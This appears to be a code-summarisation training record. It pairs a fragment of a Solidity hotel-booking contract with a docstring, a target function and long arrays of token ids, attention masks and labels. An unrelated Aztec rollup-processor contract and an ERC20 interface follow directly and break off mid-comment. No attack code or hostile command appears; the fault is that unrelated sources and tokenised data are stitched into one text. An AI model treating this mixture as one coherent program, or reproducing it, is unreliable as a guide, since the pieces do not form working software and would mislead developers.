onlyOwnerOrAuthorizedContract {
uint16 c = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;
}
}
/**
* @dev Update inventory and price by `_vendorId`, `_rpid`, `_date`, `_tokenId`, `_price` and `_inventory`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _tokenId The digital token id
* @param _price The price to be updated
* @param _inventory The inventory to be updated
*/
function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
/**
* @dev Push rate plan to `_vendorId`'s rate plan list
* @param _vendorId The vendor id
* @param _name The name of rate plan
* @param _ipfs The rate plan IPFS address
* @param _direction direction to step in
*/
function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false));
uint256 id = vendors[_vendorId].ratePlanList.push(_direction);
vendors[_vendorId].ratePlans[id] = rp;
return id;
}
/**
* @dev Remove rate plan of `_vendorId` by `_rpid`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
*/
function removeRatePlan(uint256 _vendorId, uint256 _rpid)
public
onlyOwnerOrAuthorizedContract {
delete vendors[_vendorId].ratePlans[_rpid];
vendors[_vendorId].ratePlanList.remove(_rpid);
}
/**
* @dev Update `_rpid` of `_vendorId` by `_name` and `_ipfs`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _name The rate plan name
* @param _ipfs The rate plan IPFS address
*/
function updateRatePlan(uint256 _vendorId, uint256 _rpid, string _name, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].ipfs = _ipfs;
vendors[_vendorId].ratePlans[_rpid].name = _name;
}
/**
* @dev Push token contract to the token list
* @param _direction direction to step in
*/
function pushToken(address _contract, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = tokenList.push(_direction);
tokenIndexToAddress[id] = _contract;
return id;
}
/**
* @dev Remove token by `_tokenId`
* @param _tokenId The digital token id
*/
function removeToken(uint256 _tokenId)
public
onlyOwnerOrAuthorizedContract {
delete tokenIndexToAddress[_tokenId];
tokenList.remove(_tokenId);
}
/**
* @dev Generate room night token
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _token The token id
* @param _price The token price
* @param _ipfs The rate plan IPFS address
*/
function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs));
// Give the token to `_customer`
uint256 rnid = uint256(roomnights.length - 1);
return rnid;
}
/**
* @dev Update refund applications
* @param _buyer The room night token holder
* @param _rnid The room night token id
* @param _isRefund Is redund or not
*/
function updateRefundApplications(address _buyer, uint256 _rnid, bool _isRefund)
public
onlyOwnerOrAuthorizedContract {
refundApplications[_buyer][_rnid] = _isRefund;
}
/**
* @dev Push vendor info to the vendor list
* @param _name The name of vendor
* @param _vendor The vendor address
* @param _direction direction to step in
*/
function pushVendor(string _name, address _vendor, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = vendorList.push(_direction);
vendorIds[_vendor] = id;
vendors[id] = Vendor(_name, _vendor, uint256(now), true, LinkedListLib.LinkedList(0, 0));
return id;
}
/**
* @dev Remove vendor from vendor list
* @param _vendorId The vendor id
*/
function removeVendor(uint256 _vendorId)
public
onlyOwnerOrAuthorizedContract {
vendorList.remove(_vendorId);
address vendor = vendors[_vendorId].vendor;
vendorIds[vendor] = 0;
delete vendors[_vendorId];
}
/**
* @dev Make vendor valid or invalid
* @param _vendorId The vendor id
* @param _valid The vendor is valid or not
*/
function updateVendorValid(uint256 _vendorId, bool _valid)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].valid = _valid;
}
/**
* @dev Modify vendor's name
* @param _vendorId The vendor id
* @param _name Then vendor name
*/
function updateVendorName(uint256 _vendorId, string _name)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].name = _name;
}
} | * @dev Deauthorized `_contract` by address @param _contract The contract address/ Event | function deauthorizeContract(address _contract)
public
onlyOwner
authorizedContractValid(_contract)
returns(bool) {
uint256 id = authorizedContractIds[_contract];
authorizedContractList.remove(id);
authorizedContractIds[_contract] = 0;
delete authorizedContracts[id];
emit ContractDeauthorized(_contract);
return true;
}
| 1,978,799 | [
1,
758,
8434,
1375,
67,
16351,
68,
635,
1758,
225,
389,
16351,
1021,
6835,
1758,
19,
2587,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
443,
22488,
8924,
12,
2867,
389,
16351,
13,
7010,
3639,
1071,
7010,
3639,
1338,
5541,
203,
3639,
10799,
8924,
1556,
24899,
16351,
13,
203,
3639,
1135,
12,
6430,
13,
288,
203,
3639,
2254,
5034,
612,
273,
10799,
8924,
2673,
63,
67,
16351,
15533,
203,
3639,
10799,
8924,
682,
18,
4479,
12,
350,
1769,
203,
3639,
10799,
8924,
2673,
63,
67,
16351,
65,
273,
374,
31,
203,
3639,
1430,
10799,
20723,
63,
350,
15533,
203,
540,
203,
3639,
3626,
13456,
758,
8434,
24899,
16351,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd.
pragma solidity >=0.6.10 <0.8.0;
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol';
import {Pausable} from '@openzeppelin/contracts/utils/Pausable.sol';
import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol';
import {IVerifier} from './interfaces/IVerifier.sol';
import {IRollupProcessor} from './interfaces/IRollupProcessor.sol';
import {IFeeDistributor} from './interfaces/IFeeDistributor.sol';
import {IERC20Permit} from './interfaces/IERC20Permit.sol';
import {Decoder} from './Decoder.sol';
import './libraries/RollupProcessorLibrary.sol';
/**
* @title Rollup Processor
* @dev Smart contract responsible for processing Aztec zkRollups, including relaying them to a verifier
* contract for validation and performing all relevant ERC20 token transfers
*/
contract RollupProcessor is IRollupProcessor, Decoder, Ownable, Pausable {
using SafeMath for uint256;
bytes32 public dataRoot = 0x2708a627d38d74d478f645ec3b4e91afa325331acf1acebe9077891146b75e39;
bytes32 public nullRoot = 0x2694dbe3c71a25d92213422d392479e7b8ef437add81e1e17244462e6edca9b1;
bytes32 public rootRoot = 0x2d264e93dc455751a721aead9dba9ee2a9fef5460921aeede73f63f6210e6851;
uint256 public dataSize;
uint256 public nextRollupId;
IVerifier public verifier;
uint256 public constant numberOfAssets = 4;
uint256 public constant txNumPubInputs = 12;
uint256 public constant rollupNumPubInputs = 10 + numberOfAssets;
uint256 public constant txPubInputLength = txNumPubInputs * 32; // public inputs length for of each inner proof tx
uint256 public constant rollupPubInputLength = rollupNumPubInputs * 32;
uint256 public constant ethAssetId = 0;
uint256 public immutable escapeBlockLowerBound;
uint256 public immutable escapeBlockUpperBound;
event RollupProcessed(
uint256 indexed rollupId,
bytes32 dataRoot,
bytes32 nullRoot,
bytes32 rootRoot,
uint256 dataSize
);
event Deposit(uint256 assetId, address depositorAddress, uint256 depositValue);
event Withdraw(uint256 assetId, address withdrawAddress, uint256 withdrawValue);
event WithdrawError(bytes errorReason);
event AssetAdded(uint256 indexed assetId, address indexed assetAddress);
event RollupProviderUpdated(address indexed providerAddress, bool valid);
event VerifierUpdated(address indexed verifierAddress);
// Array of supported ERC20 token address.
address[] public supportedAssets;
// Mapping which maps an asset address to a bool, determining whether it supports
// permit as according to ERC-2612
mapping(address => bool) assetPermitSupport;
// Mapping from assetId to mapping of userAddress to public userBalance stored on this contract
mapping(uint256 => mapping(address => uint256)) public userPendingDeposits;
mapping(address => mapping(bytes32 => bool)) public depositProofApprovals;
mapping(address => bool) public rollupProviders;
address public override feeDistributor;
// Metrics
uint256[] public totalPendingDeposit;
uint256[] public totalDeposited;
uint256[] public totalWithdrawn;
uint256[] public totalFees;
constructor(
address _verifierAddress,
uint256 _escapeBlockLowerBound,
uint256 _escapeBlockUpperBound,
address _contractOwner
) public {
verifier = IVerifier(_verifierAddress);
escapeBlockLowerBound = _escapeBlockLowerBound;
escapeBlockUpperBound = _escapeBlockUpperBound;
rollupProviders[msg.sender] = true;
totalPendingDeposit.push(0);
totalDeposited.push(0);
totalWithdrawn.push(0);
totalFees.push(0);
transferOwnership(_contractOwner);
}
function setRollupProvider(address providerAddress, bool valid) public override onlyOwner {
rollupProviders[providerAddress] = valid;
emit RollupProviderUpdated(providerAddress, valid);
}
function setVerifier(address _verifierAddress) public override onlyOwner {
verifier = IVerifier(_verifierAddress);
emit VerifierUpdated(_verifierAddress);
}
function setFeeDistributor(address feeDistributorAddress) public override onlyOwner {
feeDistributor = feeDistributorAddress;
}
/**
* @dev Approve a proofHash for spending a users deposited funds, this is one way and must be called by the owner of the funds
* @param _proofHash - keccack256 hash of the inner proof public inputs
*/
function approveProof(bytes32 _proofHash) public override whenNotPaused {
depositProofApprovals[msg.sender][_proofHash] = true;
}
/**
* @dev Get the ERC20 token address of a supported asset, for a given assetId
* @param assetId - identifier used to denote a particular asset
*/
function getSupportedAsset(uint256 assetId) public view override returns (address) {
if (assetId == ethAssetId) {
return address(0x0);
}
return supportedAssets[assetId - 1];
}
/**
* @dev Get the addresses of all supported ERC20 tokens
*/
function getSupportedAssets() external view override returns (address[] memory) {
return supportedAssets;
}
function getTotalDeposited() external view override returns (uint256[] memory) {
return totalDeposited;
}
function getTotalWithdrawn() external view override returns (uint256[] memory) {
return totalWithdrawn;
}
function getTotalPendingDeposit() external view override returns (uint256[] memory) {
return totalPendingDeposit;
}
function getTotalFees() external view override returns (uint256[] memory) {
return totalFees;
}
/**
* @dev Get the status of whether an asset supports the permit ERC-2612 approval flow
* @param assetId - unique identifier of the supported asset
*/
function getAssetPermitSupport(uint256 assetId) external view override returns (bool) {
address assetAddress = getSupportedAsset(assetId);
return assetPermitSupport[assetAddress];
}
/**
* @dev Get the status of the escape hatch, specifically retrieve whether the
* hatch is open and also the number of blocks until the hatch will switch from
* open to closed or vice versa
*/
function getEscapeHatchStatus() public view override returns (bool, uint256) {
uint256 blockNum = block.number;
bool isOpen = blockNum % escapeBlockUpperBound >= escapeBlockLowerBound;
uint256 blocksRemaining = 0;
if (isOpen) {
// num blocks escape hatch will remain open for
blocksRemaining = escapeBlockUpperBound - (blockNum % escapeBlockUpperBound);
} else {
// num blocks until escape hatch will be opened
blocksRemaining = escapeBlockLowerBound - (blockNum % escapeBlockUpperBound);
}
return (isOpen, blocksRemaining);
}
/**
* @dev Get the balance of a user, for a particular asset, held on the user's behalf
* by this contract
* @param assetId - unique identifier of the asset
* @param userAddress - Ethereum address of the user who's balance is being queried
*/
function getUserPendingDeposit(uint256 assetId, address userAddress) external view override returns (uint256) {
return userPendingDeposits[assetId][userAddress];
}
/**
* @dev Increase the userPendingDeposits mapping
*/
function increasePendingDepositBalance(
uint256 assetId,
address depositorAddress,
uint256 amount
) internal {
userPendingDeposits[assetId][depositorAddress] = userPendingDeposits[assetId][depositorAddress].add(amount);
totalPendingDeposit[assetId] = totalPendingDeposit[assetId].add(amount);
}
/**
* @dev Decrease the userPendingDeposits mapping
*/
function decreasePendingDepositBalance(
uint256 assetId,
address transferFromAddress,
uint256 amount
) internal {
uint256 userBalance = userPendingDeposits[assetId][transferFromAddress];
require(userBalance >= amount, 'Rollup Processor: INSUFFICIENT_DEPOSIT');
userPendingDeposits[assetId][transferFromAddress] = userBalance.sub(amount);
totalPendingDeposit[assetId] = totalPendingDeposit[assetId].sub(amount);
totalDeposited[assetId] = totalDeposited[assetId].add(amount);
}
/**
* @dev Set the mapping between an assetId and the address of the linked asset.
* Protected by onlyOwner
* @param linkedToken - address of the asset
* @param supportsPermit - bool determining whether this supports permit
*/
function setSupportedAsset(address linkedToken, bool supportsPermit) external override onlyOwner {
require(linkedToken != address(0x0), 'Rollup Processor: ZERO_ADDRESS');
supportedAssets.push(linkedToken);
assetPermitSupport[linkedToken] = supportsPermit;
uint256 assetId = supportedAssets.length;
require(assetId < numberOfAssets, 'Rollup Processor: MAX_ASSET_REACHED');
totalPendingDeposit.push(0);
totalDeposited.push(0);
totalWithdrawn.push(0);
totalFees.push(0);
emit AssetAdded(assetId, linkedToken);
}
/**
* @dev Update the value indicating whether a linked asset supports permit.
* Protected by onlyOwner
* @param assetId - unique ID of the asset
* @param supportsPermit - bool determining whether this supports permit
*/
function setAssetPermitSupport(uint256 assetId, bool supportsPermit) external override onlyOwner {
address assetAddress = getSupportedAsset(assetId);
require(assetAddress != address(0x0), 'Rollup Processor: TOKEN_ASSET_NOT_LINKED');
assetPermitSupport[assetAddress] = supportsPermit;
}
/**
* @dev Deposit funds as part of the first stage of the two stage deposit. Non-permit flow
* @param assetId - unique ID of the asset
* @param amount - number of tokens being deposited
* @param depositorAddress - address from which funds are being transferred to the contract
*/
function depositPendingFunds(
uint256 assetId,
uint256 amount,
address depositorAddress
) external payable override whenNotPaused {
if (assetId == ethAssetId) {
require(msg.value == amount, 'Rollup Processor: WRONG_AMOUNT');
increasePendingDepositBalance(assetId, depositorAddress, amount);
} else {
require(msg.value == 0, 'Rollup Processor: WRONG_PAYMENT_TYPE');
address assetAddress = getSupportedAsset(assetId);
internalDeposit(assetId, assetAddress, depositorAddress, amount);
}
}
/**
* @dev Deposit funds as part of the first stage of the two stage deposit. Permit flow
* @param assetId - unique ID of the asset
* @param amount - number of tokens being deposited
* @param depositorAddress - address from which funds are being transferred to the contract
* @param spender - address being granted approval to spend the funds
* @param permitApprovalAmount - amount permit signature is approving
* @param deadline - when the permit signature expires
* @param v - ECDSA sig param
* @param r - ECDSA sig param
* @param s - ECDSA sig param
*/
function depositPendingFundsPermit(
uint256 assetId,
uint256 amount,
address depositorAddress,
address spender,
uint256 permitApprovalAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override whenNotPaused {
address assetAddress = getSupportedAsset(assetId);
IERC20Permit(assetAddress).permit(depositorAddress, spender, permitApprovalAmount, deadline, v, r, s);
internalDeposit(assetId, assetAddress, depositorAddress, amount);
}
/**
* @dev Deposit funds as part of the first stage of the two stage deposit. Non-permit flow
* @param assetId - unique ID of the asset
* @param assetAddress - address of the ERC20 asset
* @param depositorAddress - address from which funds are being transferred to the contract
* @param amount - amount being deposited
*/
function internalDeposit(
uint256 assetId,
address assetAddress,
address depositorAddress,
uint256 amount
) internal {
// check user approved contract to transfer funds, so can throw helpful error to user
uint256 rollupAllowance = IERC20(assetAddress).allowance(depositorAddress, address(this));
require(rollupAllowance >= amount, 'Rollup Processor: INSUFFICIENT_TOKEN_APPROVAL');
IERC20(assetAddress).transferFrom(depositorAddress, address(this), amount);
increasePendingDepositBalance(assetId, depositorAddress, amount);
emit Deposit(assetId, depositorAddress, amount);
}
/**
* @dev Process a rollup - decode the rollup, update relevant state variables and
* verify the proof
* @param proofData - cryptographic proof data associated with a rollup
* @param signatures - bytes array of secp256k1 ECDSA signatures, authorising a transfer of tokens
* from the publicOwner for the particular inner proof in question. There is a signature for each
* inner proof.
*
* Structure of each signature in the bytes array is:
* 0x00 - 0x20 : r
* 0x20 - 0x40 : s
* 0x40 - 0x60 : v (in form: 0x0000....0001b for example)
*
* @param viewingKeys - viewingKeys for the notes submitted in the rollup. Note: not used in the logic
* of the rollupProcessor contract, but called here as a convenient to place data on chain
*/
function escapeHatch(
bytes calldata proofData,
bytes calldata signatures,
bytes calldata viewingKeys
) external override whenNotPaused {
(bool isOpen, ) = getEscapeHatchStatus();
require(isOpen, 'Rollup Processor: ESCAPE_BLOCK_RANGE_INCORRECT');
processRollupProof(proofData, signatures, viewingKeys);
}
function processRollup(
bytes calldata proofData,
bytes calldata signatures,
bytes calldata viewingKeys,
bytes calldata providerSignature,
address provider,
address payable feeReceiver,
uint256 feeLimit
) external override whenNotPaused {
uint256 initialGas = gasleft();
require(rollupProviders[provider], 'Rollup Processor: UNKNOWN_PROVIDER');
bytes memory sigData =
abi.encodePacked(proofData[0:rollupPubInputLength], feeReceiver, feeLimit, feeDistributor);
RollupProcessorLibrary.validateSignature(keccak256(sigData), providerSignature, provider);
processRollupProof(proofData, signatures, viewingKeys);
transferFee(proofData);
(bool success, ) =
feeDistributor.call(
abi.encodeWithSignature(
'reimburseGas(uint256,uint256,address)',
initialGas - gasleft(),
feeLimit,
feeReceiver
)
);
require(success, 'Rollup Processor: REIMBURSE_GAS_FAILED');
}
function processRollupProof(
bytes memory proofData,
bytes memory signatures,
bytes calldata /*viewingKeys*/
) internal {
uint256 numTxs = verifyProofAndUpdateState(proofData);
processDepositsAndWithdrawals(proofData, numTxs, signatures);
}
/**
* @dev Verify the zk proof and update the contract state variables with those provided by the rollup.
* @param proofData - cryptographic zk proof data. Passed to the verifier for verification.
*/
function verifyProofAndUpdateState(bytes memory proofData) internal returns (uint256) {
(
bytes32 newDataRoot,
bytes32 newNullRoot,
uint256 rollupId,
uint256 rollupSize,
bytes32 newRootRoot,
uint256 numTxs,
uint256 newDataSize
) = validateMerkleRoots(proofData);
// Verify the rollup proof.
//
// We manually call the verifier contract via assembly. This is to prevent a
// redundant copy of `proofData` into memory, which costs between 100,000 to 1,000,000 gas
// depending on the rollup size!
bool proof_verified = false;
address verifierAddress;
uint256 temp1;
uint256 temp2;
uint256 temp3;
assembly {
// Step 1: we need to insert 68 bytes of verifier 'calldata' just prior to proofData
// Start by defining the start of our 'calldata'. Also grab the verifier contract address from storage
let inputPtr := sub(proofData, 0x44)
verifierAddress := sload(verifier_slot)
// Step 2: we need to overwrite the memory between `inputPtr` and `inputPtr + 68`
// we load the existing 68 bytes of memory into stack variables temp1, temp2, temp3
// Once we have called the verifier contract, we will write this data back into memory
temp1 := mload(inputPtr)
temp2 := mload(add(inputPtr, 0x20))
temp3 := mload(add(inputPtr, 0x40))
// Step 3: insert our calldata into memory
// We call the function `verify(bytes,uint256)`
// The function signature is 0xac318c5d
// Calldata map is:
// 0x00 - 0x04 : 0xac318c5d
// 0x04 - 0x24 : 0x40 (number of bytes between 0x04 and the start of the `proofData` array at 0x44)
// 0x24 - 0x44 : rollupSize
// 0x44 - .... : proofData (already present in memory)
mstore8(inputPtr, 0xac)
mstore8(add(inputPtr, 0x01), 0x31)
mstore8(add(inputPtr, 0x02), 0x8c)
mstore8(add(inputPtr, 0x03), 0x5d)
mstore(add(inputPtr, 0x04), 0x40)
mstore(add(inputPtr, 0x24), rollupSize)
// Total calldata size is proofData.length + 96 bytes (the 66 bytes we just wrote, plus the 32 byte 'length' field of proofData)
let callSize := add(mload(proofData), 0x64)
// Step 4: Call our verifier contract. If does not return any values, but will throw an error if the proof is not valid
// i.e. verified == false if proof is not valid
proof_verified := staticcall(gas(), verifierAddress, inputPtr, callSize, 0x00, 0x00)
// Step 5: Restore the memory we overwrote with our 'calldata'
mstore(inputPtr, temp1)
mstore(add(inputPtr, 0x20), temp2)
mstore(add(inputPtr, 0x40), temp3)
}
// Check the proof is valid!
require(proof_verified, 'proof verification failed');
// Update state variables.
dataRoot = newDataRoot;
nullRoot = newNullRoot;
nextRollupId = rollupId.add(1);
rootRoot = newRootRoot;
dataSize = newDataSize;
emit RollupProcessed(rollupId, dataRoot, nullRoot, rootRoot, dataSize);
return numTxs;
}
/**
* @dev Extract public inputs and validate they are inline with current contract state.
* @param proofData - Rollup proof data.
*/
function validateMerkleRoots(bytes memory proofData)
internal
view
returns (
bytes32,
bytes32,
uint256,
uint256,
bytes32,
uint256,
uint256
)
{
(
// Stack to deep workaround:
// 0: rollupId
// 1: rollupSize
// 2: dataStartIndex
// 3: numTxs
uint256[4] memory nums,
bytes32 oldDataRoot,
bytes32 newDataRoot,
bytes32 oldNullRoot,
bytes32 newNullRoot,
bytes32 oldRootRoot,
bytes32 newRootRoot
) = decodeProof(proofData, numberOfAssets);
// Escape hatch denominated by a rollup size of 0, which means inserting 2 new entries.
nums[3] = nums[1] == 0 ? 1 : nums[1];
// Ensure we are inserting at the next subtree boundary.
uint256 toInsert = nums[3].mul(2);
if (dataSize % toInsert == 0) {
require(nums[2] == dataSize, 'Rollup Processor: INCORRECT_DATA_START_INDEX');
} else {
uint256 expected = dataSize + toInsert - (dataSize % toInsert);
require(nums[2] == expected, 'Rollup Processor: INCORRECT_DATA_START_INDEX');
}
// Data validation checks.
require(oldDataRoot == dataRoot, 'Rollup Processor: INCORRECT_DATA_ROOT');
require(oldNullRoot == nullRoot, 'Rollup Processor: INCORRECT_NULL_ROOT');
require(oldRootRoot == rootRoot, 'Rollup Processor: INCORRECT_ROOT_ROOT');
require(nums[0] == nextRollupId, 'Rollup Processor: ID_NOT_SEQUENTIAL');
return (newDataRoot, newNullRoot, nums[0], nums[1], newRootRoot, nums[3], nums[2] + toInsert);
}
/**
* @dev Process deposits and withdrawls.
* @param proofData - the proof data
* @param numTxs - number of transactions rolled up in the proof
* @param signatures - bytes array of secp256k1 ECDSA signatures, authorising a transfer of tokens
*/
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
proofDataPtr := add(proofData, 0x20) // add 0x20 to skip over 1st field in bytes array (the length field)
}
proofDataPtr += rollupPubInputLength; // update pointer to skip over rollup public inputs and point to inner tx public inputs
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
// This is a bit of a hot loop, we iterate over every tx to determine whether to process deposits or withdrawals.
while (proofDataPtr < end) {
// extract the minimum information we need to determine whether to skip this iteration
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
// only process deposits and withdrawals iff
// the proofId == 0 (not an account proof) and publicInput > 0 OR publicOutput > 0
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
// extract asset Id
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
// validate user has approved deposit
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
// compute the message digest to check if user has approved tx
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
// extract and validate signature
// we can create a bytes memory container for the signature without allocating new memory,
// by overwriting the previous 32 bytes in the `signatures` array with the 'length' of our synthetic byte array (92)
// we store the memory we overwrite in `temp`, so that we can restore it
bytes memory signature;
uint256 temp;
assembly {
// set `signature` to point to 32 bytes less than the desired `r, s, v` values in `signatures`
signature := add(signatures, sigIndex)
// cache the memory we're about to overwrite
temp := mload(signature)
// write in a 92-byte 'length' parameter into the `signature` bytes array
mstore(signature, 0x60)
}
// validate the signature
RollupProcessorLibrary.validateUnpackedSignature(digest, signature, inputOwner);
// restore the memory we overwrote
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function transferFee(bytes memory proofData) internal {
for (uint256 i = 0; i < numberOfAssets; ++i) {
uint256 txFee = extractTotalTxFee(proofData, i);
if (txFee > 0) {
bool success;
if (i == ethAssetId) {
(success, ) = payable(feeDistributor).call{value: txFee}('');
} else {
address assetAddress = getSupportedAsset(i);
IERC20(assetAddress).approve(feeDistributor, txFee);
(success, ) = feeDistributor.call(abi.encodeWithSignature('deposit(uint256,uint256)', i, txFee));
}
require(success, 'Rollup Processor: DEPOSIT_TX_FEE_FAILED');
totalFees[i] = totalFees[i].add(txFee);
}
}
}
/**
* @dev Internal utility function to withdraw funds from the contract to a receiver address
* @param withdrawValue - value being withdrawn from the contract
* @param receiverAddress - address receiving public ERC20 tokens
* @param assetId - ID of the asset for which a withdrawl is being performed
*/
function withdraw(
uint256 withdrawValue,
address receiverAddress,
uint256 assetId
) internal {
require(receiverAddress != address(0), 'Rollup Processor: ZERO_ADDRESS');
if (assetId == 0) {
// We explicitly do not throw if this call fails, as this opens up the possiblity of
// griefing attacks, as engineering a failed withdrawal will invalidate an entire rollup block
payable(receiverAddress).call{gas: 30000, value: withdrawValue}('');
} else {
address assetAddress = getSupportedAsset(assetId);
IERC20(assetAddress).transfer(receiverAddress, withdrawValue);
}
totalWithdrawn[assetId] = totalWithdrawn[assetId].add(withdrawValue);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
